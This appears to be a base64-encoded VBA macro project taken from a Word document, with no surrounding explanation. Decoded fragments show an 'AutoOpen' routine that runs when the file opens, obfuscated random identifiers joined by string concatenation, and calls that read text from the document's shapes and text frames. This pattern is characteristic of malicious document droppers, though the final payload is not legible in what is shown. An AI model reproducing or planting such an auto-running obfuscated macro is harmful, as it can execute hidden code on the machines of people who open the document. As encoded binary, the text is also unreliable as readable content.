RGlCd3BmtgAHAC53aW9BU2kAJAA+AgMAJwByVYAAAAAAAAAAgAAAAIAAAAAAAAAAEAAAAAkAAAAA AAIA//////////8AAAAAQAAAAAQAJAABAQAAAAACAAAABGAAAAEH/////////////wAAAAAAAAAA HgAAAAAAAG4AAH8AAAAAAGoCJAB+AAEAtgAAAAUAnAAAAHQrW1MgAAH4sYABAAQAAAABADAqAgKQ CQBwFAZIAwCCAgBk5AQEAAcAHABQcm9qZWN0BVEAKAAAQAIUBgIUPa0CCgcCbAFfAF8AUwBSAFAA XwAzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAC AQcAAAACAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAABnAAAA AAAAAF8AVgBCAEEAXwBQAFIATwBKAEUAQwBUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAaAAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAGwAAALcSAAAAAAAAZABpAHIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAA/AEAAAAAAABfAF8AUwBSAFAAXwAwAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAACAAYAAAADAAAA/////wAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAACiBAAAAAAAAAEWAQAGAAEAAG4D AADkAAAA6gEAAJwDAACqAwAA7hQAAAEAAAABAAAAvYXiVgAA//+jAQAAiAAAALYA//8BAQAAAAD/ ////AAAAAP//PAD//wAAy8ovvXXOnEu11tQ3uxSuQFlfLXRIldpAsQEleyFvsrkAAAAAAAAAAAAA AAAAAAAAAQAAAGMeH4RPNFpEqVgJB1CAF/EQAAAAAwAAAAUAAAAHAAAA//////////8BAQgAAAD/ ////eAAAAAhjHh+ETzRaRKlYCQdQgBfxy8ovvXXOnEu11tQ3uxSuQP//AAAAAE1FAAD///////8A AAAA//8AAAAA//8BAQAAAADfAP//AAAAAP////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////8oAAAAAgBTIv////8AAAEA UxD/////AAABAFMi/////wAAAAA2Iv////8AAP//AQEAAAAAAQAoADEATgBvAHIAbQBhAGwALgBU AGgAaQBzAEQAbwBjAHUAbQBlAG4AdAAJAAAA/////wEB+AAAAAKA/v//////EAD//ygAAAACAf// AAAAAAAAAAD//////////wAAAAAdAAAAJQAAAP////+YAAAAAoP+//////8IAP//YAAAAAAA//// ////AAAAAP//////////AAAAAB0ADAAlAAAAgqAoAv/////+////kAAAAAIA///+////AAAAAP// ////////AAAAAB0ADAAlAAAADBEqAv////8AAARgAAAAAP//////////AAAAAAAAAAD/////AAAK AP//////////AAcAAGgAaAAAAJQAAAMAAECUsAL//////////0wA//8AAAAAYwBzAP////8IAAAA AQABAAAAAQAAAAAAAAAAAJgAAAD//////////wAAAAD//////////5gAAAD//////////wAAAAD/ //////////////9oAAAAOAAAAAAAAAAAAAAAQAAEAAAAAAAEBwAH//////////////////////// /////wgAAgAwAAAAr9fLXQwAASQAKgBcAFIAZgBmAGYAZgAqADAAOAA1AGQAYwBiAGQANwBhAGYA 3wEAAAAAAP////80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA/soBAGgAIoEIAAYADAAAAAAAAIEIAyoAAAAIAAAAAIEIABwAAAA4 AAAAAIEICBIAAABYAAAAAIEIDDIAAABwAAAAAIEIECQAAACoAAAAAIEIDAIAAADQAAAAAIEIAAIA AADYAAAAAIEIAyoAAADgAAAAAIEIABwAAAAQAQAAAIEICBIAAAAwAQAAAIEIDC4AAABIAQAAAIEI ECIAAAB4AQAAAIEIDAIAAACgAQAAAIEIAAIAAACoAQAAAIEIAyoAAACwAQAAAIEIABwAAADgAQAA AIEICBIAAAAAAgAAAIEIDDAAAAAYAgAAAIEIECQAAABIAgAAAIEIDAIAAABwAgAAAIEIAAIAAAB4 AgAAAIEIAyoAAACAAgAAAIEIABwAAACwAgAAAIEICBIAAADQAgAAAIEIDDIAAADoAgAAAIEIECgA AAAgAwAAAIEIDAIAAABIAwAAAIEIAAIAAABQAwAAAIEIAyoAAABYAwAAAIEIABwAAACIAwAAAIEI CBIAAACoAwAAAIEIDDQAAADAAwAAAIEIECgAAAD4AwAAAIEIDAIAAAAgBAAAAIEIAAIAAAAoBAAA AIEIAEAAAAAwBAAAAIEIAyoAAABwBAAAAIEIABwAAACgBAAAAIEICBIAAADABAAAAIEIDC4AAADY BAAAAIEIECgAAAAIBQAAAIEIDAIAAAAwBQAAAIEIAAIAAAA4BQAAAIEIAyoAAABABQAAAIEIABwA AABwBQAAAIEICBIAAACQBQAAAIEIDDQAAACoBQAAAIEIECgAAADgBQAAAIEIDAIAAAAIBgAAAIEI AAIAAAAQBgAAAIAIAAwAAAAYBgAAAIEIAyoAAAAoBgAAAIEIABwAAABYBgAAAIEICBIAAAB4BgAA AIEIDC4AAACQBgAAAIEIECQAAADABgAAAIEIDAIAAADoBgAAAIEIAAIAAADwBgAAAIEIAyoAAAD4 BgAAAIEIABwAAAAoBwAAAIEICBIAAABIBwAAAIEIDCwAAABgBwAAAIEIECQAAACQBwAAAIEIDAIA AAC4BwAAAIEIAAIAAADABwAAAIEIAyoAAADIBwAAAIEIABwAAAD4BwAAAIEICBIAAAAYCAAAAIEI DDAAAAAwCAAAAIEIECYAAABgCAAAAIEIDAIAAACICAAAAIEIAAIAAACQCAAAAIEIABoAAACYCAAA AIEIAyoAAAC4CAAAAIEIABwAAADoCAAAAIEICBIAAAAICQAAAIEIDDIAAAAgCQAAAIEIECYAAABY CQAAAIEIDAIAAACACQAAAIEIAAIAAACICQAAAIEIAyoAAACQCQAAAIEIABwAAADACQAAAIEICBIA AADgCQAAAIEIDDAAAAD4CQAAAIEIECQAAAAoCgAAAIEIDAIAAABQCgAAAIEIAAIAAABYCgAAAIEI AyoAAABgCgAAAIEIABwAAACQCgAAAIEICBIAAACwCgAAAIEIDDAAAADICgAAAIEIECIAAAD4CgAA AIEIDAIAAAAgCwAAAIEIAAIAAAAoCwAAAIEIAyoAAAAwCwAAAIEIABwAAABgCwAAAIEICBIAAACA CwAAAIEIDDQAAACYCwAAAIEIECYAAADQCwAAAIEIDAIAAAD4CwAAAIEIAAIAAAAADAAABIEIAAIA AAAIDAAAAIAJAAAAAAD//////////wEBGAwAAJYEmAAAAAAAtgAAACAALgILACAAMAILACAAMgIh AAYBCwAgADQCCwAgADYCCwAnACwCcgBcAEEAIAA6AiAAPAIRALYAAQBcABEAIAAsAhEAJwA4AlwA TQAgADgCJAB+AAEAtgAAAAUAnABUAGUAbQAgADgCtgAJAGJwblhJc09wdgC2AAcAckpQVklQSAAk AD4CAwAkAH4AAQC2AAAABgCcAFMATAA3ACAAOAK2AAgAUVZUWFJKSm22AAYALm5TSUl3JAA+AgMA JwA4Aj0ANABrAP//KAAAAGsA//8gAAAAtgAAACAAQgILACAARAILACAAMgIhAAYBCwAgAEYCCwAg AEgCCwAnAEACbQAgAF4AIABMAiAATgIRALYAAQBcABEAIABAAhEAJwBKAkIAUwAgAEoCJAB+AAEA tgAAAAUAnABzAFkAXgAgAEoCtgAIAHpBcWZ6Q1NDtgAGAHpFWHVzQSQAPgIDACQAfgABALYAAAAG AJwAdQAgAEoCtgAFAHpXa3dOALYABgAuUEJJdW4kAD4CAwAnAEoCWQBaAGgAawD//1gAAABrAP// UAAAALYAAAAgAFICCwAgAFQCCwAgADICIQAGAQsAIABWAgsAIABYAgsAJwBQAkUANwBKACAAXAIg AF4CEQC2AAEAXAARACAAUAIRACcAWgJhAG0AIABaAiQAfgABALYAAAAFAJwAAAAAAPA/IABaArYA BwBqQ21ia0dhALYABwB3QmppcVJtACQAPgIDACQAfgABALYAAAAGAJwAIABaArYABgBEaUJ3cGa2 AAcALndpb0FTaQAkAD4CAwAnAFoCAAAAAGsA//+IAQAAawD//4ABAAC2AAAAIABiAgsAIABkAgsA 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 AwBud3NYY0xUl6YQAAeAAAD/AwMAdE16ckZDcnyzEAAIgAAA/wMDAGpGemhoWVhw2bwQAAWAAAD/ AwMAS3pPVGykZBAAB4AAAP8DAwBocWlYcVJjCE8QAAmAAAD/AwMAbFRBVHFhbFhPqZAQAAiAAAD/ AwMAanZiZENtdmqvORAACIAAAP8DAwBZRHpOalZ6WWQxEAAHgAAA/wMDAGpBVGl6cWpiQxAACYAA AP8DAwBqVVh3c3pXWHG0RBAACYAAAP8DAwBjaEdXTWpLV1UvHhAACIAAAP8DAwBtbnduRnJNWPog EAAIgAAA/wMDAHZRalhEcHN6w9wQAAmAAAD/AwMAUm5FZExwdGN0s0AQAAeAAAD/AwMAdmlDSmJQ d2B7EAAFgAAA/wMDAHd6Rmhj03cQAAWAAAD/AwMAVHVLRlIlkhAABoAAAP8DAwBienNqSUljxBAA CIAAAP8DAwBqdHNXblphdKYvEAAHgAAA/wMDAEVta3VCdnIrwBAACYAAAP8DAwBFUGp0bnBzd0Py wBAABoAAAP8DAwBHQU93WVohIRAABYAAAP8DAwBMTnpZVo7tEAAGgAAA/wMDAFFOTW1zWUKxEAAI gAAA/wMDAG9NdWtGcFFOMgQQAAWAAAD/AwMASG1VWUpxxRAACIAAAP8DAwBiRUFtV1BFT2njEAAI gAAA/wMDAHpTWFp1UHZ0t9EQAAaAAAD/AwMAYnp3RXd6sfwQAAL//wEBVAAAAP////////////// /////////xoCAgD//xwC/////////////////////yICAwD//wgCAQD//woCAAD//yQCBAD//ykC AAALAP///////////////wsADgAAAAEAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAABlAG0AMwAyAFwA cwB0AGQAbwBsAGUAMgAuAHQAbABiACMATwBMAEUAIABBAHUAdABvAG0AYQB0AGkAbwBuAAAAAAAA AAAAAAAAABIAKgBcAEMATgBvAHIAbQBhAGwAEgAqAFwAQwBOAG8AcgBtAGEAbACp18tdCAAAAAAA AAAoASoAXABHAHsAMgBEAEYAOABEADAANABDAC0ANQBCAEYAQQAtADEAMAAxAEIALQBCAEQARQA1 AC0AMAAwAEEAQQAwADAANAA0AEQARQA1ADIAfQAjADIALgA4ACMAMAAjAEMAOgBcAFAAcgBvAGcA cgBhAG0AIABGAGkAbABlAHMAXABDAG8AbQBtAG8AbgAgAEYAaQBsAGUAcwBcAE0AaQBjAHIAbwBz AG8AZgB0ACAAUwBoAGEAcgBlAGQAXABPAEYARgBJAEMAFAgGEgkCEoCv18tdDAAMAkoSPAIKFgAB cnN0ZBBvbGU+AhlzAHQAAGQAbwBsAGVQAA0AaAAlXgADKgBcR3swMDAyMLA0MzAtAAgEBEMACgMC DgESMDA0Nn0jADIuMCMwI0M6AFxXaW5kb3dzAFxzeXN0ZW0zBDJcA2UyLnRsYgAjT0xFIEF1dIBv bWF0aW9uAGADAAKDRU5vcm1hbAWDRU6AQ3IAbQBhUYBGDgAggBEJgAEqLFxDAxIKBqmAbQgAQYMh T2ZmaWOEZ09EAGaAAGkAY4JnngWAH5SCIUd7MkRGADhEMDRDLTVCAEZBLTEwMUItkEJERTWAZ0FB gGUaNIAFMohngLpncmEAbSBGaWxlc1xAQ29tbW9uBAZNAGljcm9zb2Z0ACBTaGFyZWRcAE9GRklD RTE2AFxNU08uRExMBiOHEINNIDE2LjAIIE9igeMgTGlisHJhcnmAJYAAD4J6CAEAE8IBvYUZAAGB OWthaXB3VXqgd0JHABIACWuARABpAHAAdwBVAKJ6QAFCABqLCTKUCaIcAA8AAEhCATHChGD0FAAA HkICAQUsUUId4lYiQggrQgEQAUIB/////5NLKq8BABAAAAD//wAAAAABAAIA//8AAAAAAQAAAAAA AAAAAAEAAgAAAAAAAAABAAUABQAFAAUABQAFAAUABQAFAAUABQAFAAEACQAAACpcQ05vcm1hbHJV AAEAAIAAAACAAAAAgAAAAAQAAH4FAAB+AQAAfgEAAH4BAAB+AQAAfmwAAH8AAAAAFQAAAAkAAAAA AAEACAAAAAAAAADhAAAAAAAAAIUPLBMW0WNHhx4xxlZS+QsBAAkEAAAJBAAA5AQAAAAAAAABAP// //8BAIOKZQAJAAAAAAACAIkGAAAAAAAA/////wEAaQYAAAAAAAD//wAA+QAAAAAAAAAFAOEBAAAA AAAAAAAAAAAAAAAAAAAAAAAAAPkCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkEAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAkAAAABAAAA5E5x4O5PQkG2WwQkASDJICkFAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAQAAAIMAAAAVGhpc0RvY3VtZW50AgAAAgcAAABQcm9qZWN0AwAAAgkAAABrYWlwd1V6d0IEAAAD 7wQCAAAAAADAAAAAAAAARhEAAAJCAAAAQzpcUHJvZ3JhbSBGaWxlc1xDb21tb24gRmlsZXNcTWlj cm9zb2Z0IFNoYXJlZFxWQkFcVkJBNy4xXFZCRTcuRExMAQAAAgMAAABWQkEKAAAKGQEAAAAAAAD/ ////BAACAAkAAABBAQAAAAAAANEBAAAAAAAAYAAAAAAAAAAAAAAAAAAEAAADBQkCAAAAAADAAAAA AAAARg8AAAI6AAAAQzpcUHJvZ3JhbSBGaWxlc1xNaWNyb3NvZnQgT2ZmaWNlXFJvb3RcT2ZmaWNl MTZcTVNXT1JELk9MQgIAAAIEAAAAV29yZAoAAAo5AgAAAAAAAP////8IAAcAAAAAAGECAAAAAAAA 4QIAAAAAAABwAAAAAAAAAAAAAAAAAAQAAAMwBAIAAAAAAMAAAAAAAABGCAAAAh8AAABDOlxXaW5k b3dzXHN5c3RlbTMyXHN0ZG9sZTIudGxiAgAAAgYAAABzdGRvbGUFAAB/CgAAClEDAAAAAAAA//// /wIAAAAAAAAAeQMAAAAAAADBAwAAAAAAAIAAAAAAAAAAAAAAAAAABAAAA0zQ+C36WxsQveUAqgBE 3lIQAAACPwAAAEM6XFByb2dyYW0gRmlsZXNcQ29tbW9uIEZpbGVzXE1pY3Jvc29mdCBTaGFyZWRc T0ZGSUNFMTZcTVNPLkRMTAIAAAIGAAAAT2ZmaWNlCgAACmEEAAAAAAAA/////wIACAAAAAAAiQQA AAAAAAARBQAAAAAAAJAAAAAAAAAAAAAAAAAABAAAA2sJAgAAAAAAwAAAAAAAAEYEAAADy8ovvXXO nEu11tQ3uxSuQAQAAANZXy10SJXaQLEBJXshb7K5BAAAA2MeH4RPNFpEqVgJB1CAF/EEAAADAgoC AAAAAADAAAAAAAAARgMAAAIIAAAARG9jdW1lbnQDAAACCAAAAEF1dG9PcGVuAwAADQwADABAAAAA AAAAAAAAKwAAfwAAAAADAG9RQ1V6S0FXRxRiEAAHgAAA/wMDAEdrRHJUekxyVYAAAACAAAAAgAAA AIAAAAABAAB+fQAAfwAAAAAKAAAACQAAAAAAAAD///////////////8AAAAACQAAAAAAAwADAAAJ +QIAAAAAAAAhBgAAAAAAAAgAAAAAAAEAcAAAfwAAAAAAAP8DAwBudHp6bw60EAAFgAAA/wMDAFZi emthaXB3VXp3QgBrAGEAaQBwAHcAVQB6AHcAQgAAAAAAAEdLa1lJemJroeMQAAaAAAD/AwMAakRk RVBU/EAQAAVJRD0ie0MzN0QwNTJGLTg2QkYtNEQ4NS05MkIwLUJDMEYzNkNEOEFGNn0iDQpEb2N1 bWVudD1rYWlwd1V6d0IvJkgwMDAwMDAwMA0KRXhlTmFtZTMyPSJkUWtZREZxRmpqaU5wIg0KTmFt ZT0iUHJvamVjdCINCkhlbHBDb250ZXh0SUQ9IjAiDQpWZXJzaW9uQ29tcGF0aWJsZTMyPSIzOTMy MjIwMDAiDQpDTUc9IjAyMDAxMDEwMTYxNDE2MTTMYa8AAAEA/wkEAAAJBAAA5AQBAAAAAAAAAAAA AQAFAAIAIAEqAFwARwB7ADAAMAAwADIAMAA0AEUARgAtADAAMAAwADAALQAwADAAMAAwAC0AQwAw ADAAMAAtADAAMAAwADAAMAAwADAAMAAwADAANAA2AH0AIwA0AC4AMgAjADkAIwBDADoAXABQAHIA bwBnAHIAYQBtACAARgBpAGwAZQBzAFwAQwBvAG0AbQBvAG4AIABGAGkAbABlAHMAXABNAGkAYwBy AG8AcwBvAGYAdAAgAFMAaABhAHIAZQBkAFwAVgBCAEEAXABWAEIAQQA3AC4AMQBcAFYAQgBFADcA LgBEAEwATAAjAFYAaQBzAHUAYQBsACAAQgBhAHMAaQBjACAARgBvAHIAIABBAHAAcABsAGkAYwBh AHQAaQBvAG4AcwAAAAAAAAAAAAAAAAAaASoAXABHAHsAMAAwADAAMgAwADkAMAA1AC0AMAAwADAA MAAtADAAMAAwADAALQBDADAAMAAwAC0AMAAwADAAMAAwADAAMAAwADAAMAA0ADYAfQAjADgALgA3 ACMAMAAjAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABNAGkAYwByAG8AcwBvAGYA dAAgAE8AZgBmAGkAYwBlAFwAUgBvAG8AdABcAE8AZgBmAGkAYwBlADEANgBcAE0AUwBXAE8AUgBE AC4ATwBMAEIAIwBNAGkAYwByAG8AcwBvAGYAdAAgAFcAbwByAGQAIAAxADYALgAwACAATwBiAGoA ZQBjAHQAIABMAGkAYgByAGEAcgB5AAAAAAAAAAAAAAAAALwAKgBcAEcAewAwADAAMAAyADAANAAz ADAALQAwADAAMAAwAC0AMAAwADAAMAAtAEMAMAAwADAALQAwADAAMAAwADAAMAAwADAAMAAwADQA NgB9ACMAMgAuADAAIwAwACMAQwA6AFwAVwBpAG4AZABvAHcAcwBcAHMAeQBzAHQAZQBtADMAMgBc AHMAdABkAG8AbABlADIALgB0AGwAYgAjAE8ATABFACAAQQB1AHQAbwBtAGEAdABpAG8AbgAAAAAA AAAAAAAAAAASACoAXABDAE4AbwByAG0AYQBsABIAKgBcAEMATgBvAHIAbQBhAGwAqdfLXQgAAAAA AAAAKAEqAFwARwB7ADIARABGADgARAAwADQAQwAtADUAQgBGAEEALQAxADAAMQBCAC0AQgBEAEUA NQAtADAAMABBAEEAMAAwADQANABEAEUANQAyAH0AIwAyAC4AOAAjADAAIwBDADoAXABQAHIAbwBn AHIAYQBtACAARgBpAGwAZQBzAFwAQwBvAG0AbQBvAG4AIABGAGkAbABlAHMAXABNAGkAYwByAG8A cwBvAGYAdAAgAFMAaABhAHIAZQBkAFwATwBGAEYASQBDAEUAMQA2AFwATQBTAE8ALgBEAEwATAAj AE0AaQBjAHIAbwBzAG8AZgB0ACAATwBmAGYAaQBjAGUAIAAxADYALgAwACAATwBiAGoAZQBjAHQA IABMAGkAYgByAGEAcgB5AAAAAAAAAAAAAAAAAAEAAgAGAAwCAAAOAgEAEAIAABICAAAUAgEAFgIB ABwC////////AAAAAP//AACv18tdDAD///////////////////////////////////////////// AAD/////////////////////////////////////AQAAAAAAAAAAAAAAAAAAAAAAAAC9hQEAEgBr AGEAaQBwAHcAVQB6AHcAQgAUADAAOAA1AGQAYwBiAGQANwBhAGYA//8pAhIAawBhAGkAcAB3AFUA egB3AEIA///iVgAAAAAAAAACAAAA9BQAAP///////wEBIAIAAP////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////8AAgAA //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////IZZ+ykHVjEmtr4G6Ok85FP////8B AAAA/////2AAAACAAAAAAACUAZEAAwHYOQAABARXb3JktWsQAAMEVkJB9+IQAAUEV2luMTbBfhAA BQRXaW4zMgd/EAAFBFdpbjY0eH8QAAMETWFjs7IQAAQEVkJBNq0jEAAEBFZCQTeuIxAACARQcm9q ZWN0MQoXEAAGBHN0ZG9sZZNgEAAHBFByb2plY3QtrhAADARUaGlzRG9jdW1lbnQ8nhAACYAAAP8D AwBfRXZhbHVhdGUY2RAABgBOb3JtYWzf2BAABoQIAP8DAwBPZmZpY2UVdRAACAREb2N1bWVudGrT EAAJBGthaXB3VXp3QjryEAAIhAgA/wMDAEF1dG9PcGVu2SoQAAiAAAD/AwMAaEhOaWl2dUQrhxAA CIAAAP8DAwB0WkRHSUNuQt1uEAAIgAAA/wMDAHpFVm52RFFOsvQQAA6AAAD/AwEAQWN0aXZlRG9j dW1lbnTTXBAACIAAAP8DAwB1bUFkRGpqcriYEAAJgAAA/wMDAGlPZkptTml6UNkEEAAIgAAA/wMD AHF1T0d2SEtxhVMQAAmAAAD/AwMAbmt6SkJQZEFF3GgQAAWAAAD/AwMAZHptc05wXBAABwBSZXBs YWNlZg4QAAaAAAD/AwMAQ0NibnFjLbUQAAWAAAD/AwMARmp3YmoXUxAAB4AAAP8DAwBya0RtQ1Vt uZIQAAeAAAD/AwMAWElrYUFJTr6QEAAGgAAA/wMDAEtwVU1PUK55EAAJgAAA/wMDAHR3R0h3Qm9q ZlKPEAAJgAAA/wMDAE53em1XYmpEbvJbEAAJgAAA/wMDAFFzalZKWUhmWJeiEAAHgAAA/wMDAGx3 R1Bza3AMeBAACYAAAP8DAwBDS1N0d2hhYkLQPRAAB4AAAP8DAwB0UFdCekp3B8EQAAWAAAD/AwMA YXFOT0t9uBAABYAAAP8DAwBPQVVYWSV/EAAHgAAA/wMDAFhtUnNXc2qJQBAACYAAAP8DAwBqdWFE WWlPVnKQ9hAACYAAAP8DAwBvUUNVektBV0cUYhAAB4AAAP8DAwBHa0RyVHpMeSQQAAeAAAD/AwMA ckFYQ1JNac67EAAIgAAA/wMDAGtpV2ZvQnpXBPkQAAmAAAD/AwMAWHFVbG9EQ3RHwBsQAAaAAAD/ AwMAZHFVbVNSV20QAAaAAAD/AwMAdGpGT3FVRlAQAAWAAAD/AwMAbnR6em8OtBAABYAAAP8DAwBW YnpTTh9cEAAHgAAA/wMDAEtZdk11WGL8YRAACIAAAP8DAwBHS2tZSXpia6HjEAAGgAAA/wMDAGpE ZEVQVPxAEAAFgAAA/wMDAENkb2Fq59UQAAiAAAD/AwMAdnBkellXcmyngBAAB4AAAP8DAwBuWEJD YW9JHeIQAAmAAAD/AwMASHdWaUdCYVRiVhoQAAeAAAD/AwMAR3FJT1dDco08EAAKgAAA/wMDAGx0 UmN6amtpVGoUFxAABYAAAP8DAwBUTWJER0E0EAAFgAAA/wMDAG9vWkZGmmYQAAaAAAD/AwEAU2hh cGVz+zwQAAmAAAD/AwEAVGV4dEZyYW1l48kQAA+AAAD/AwEAQ29udGFpbmluZ1Jhbmdl5DEQAAeA 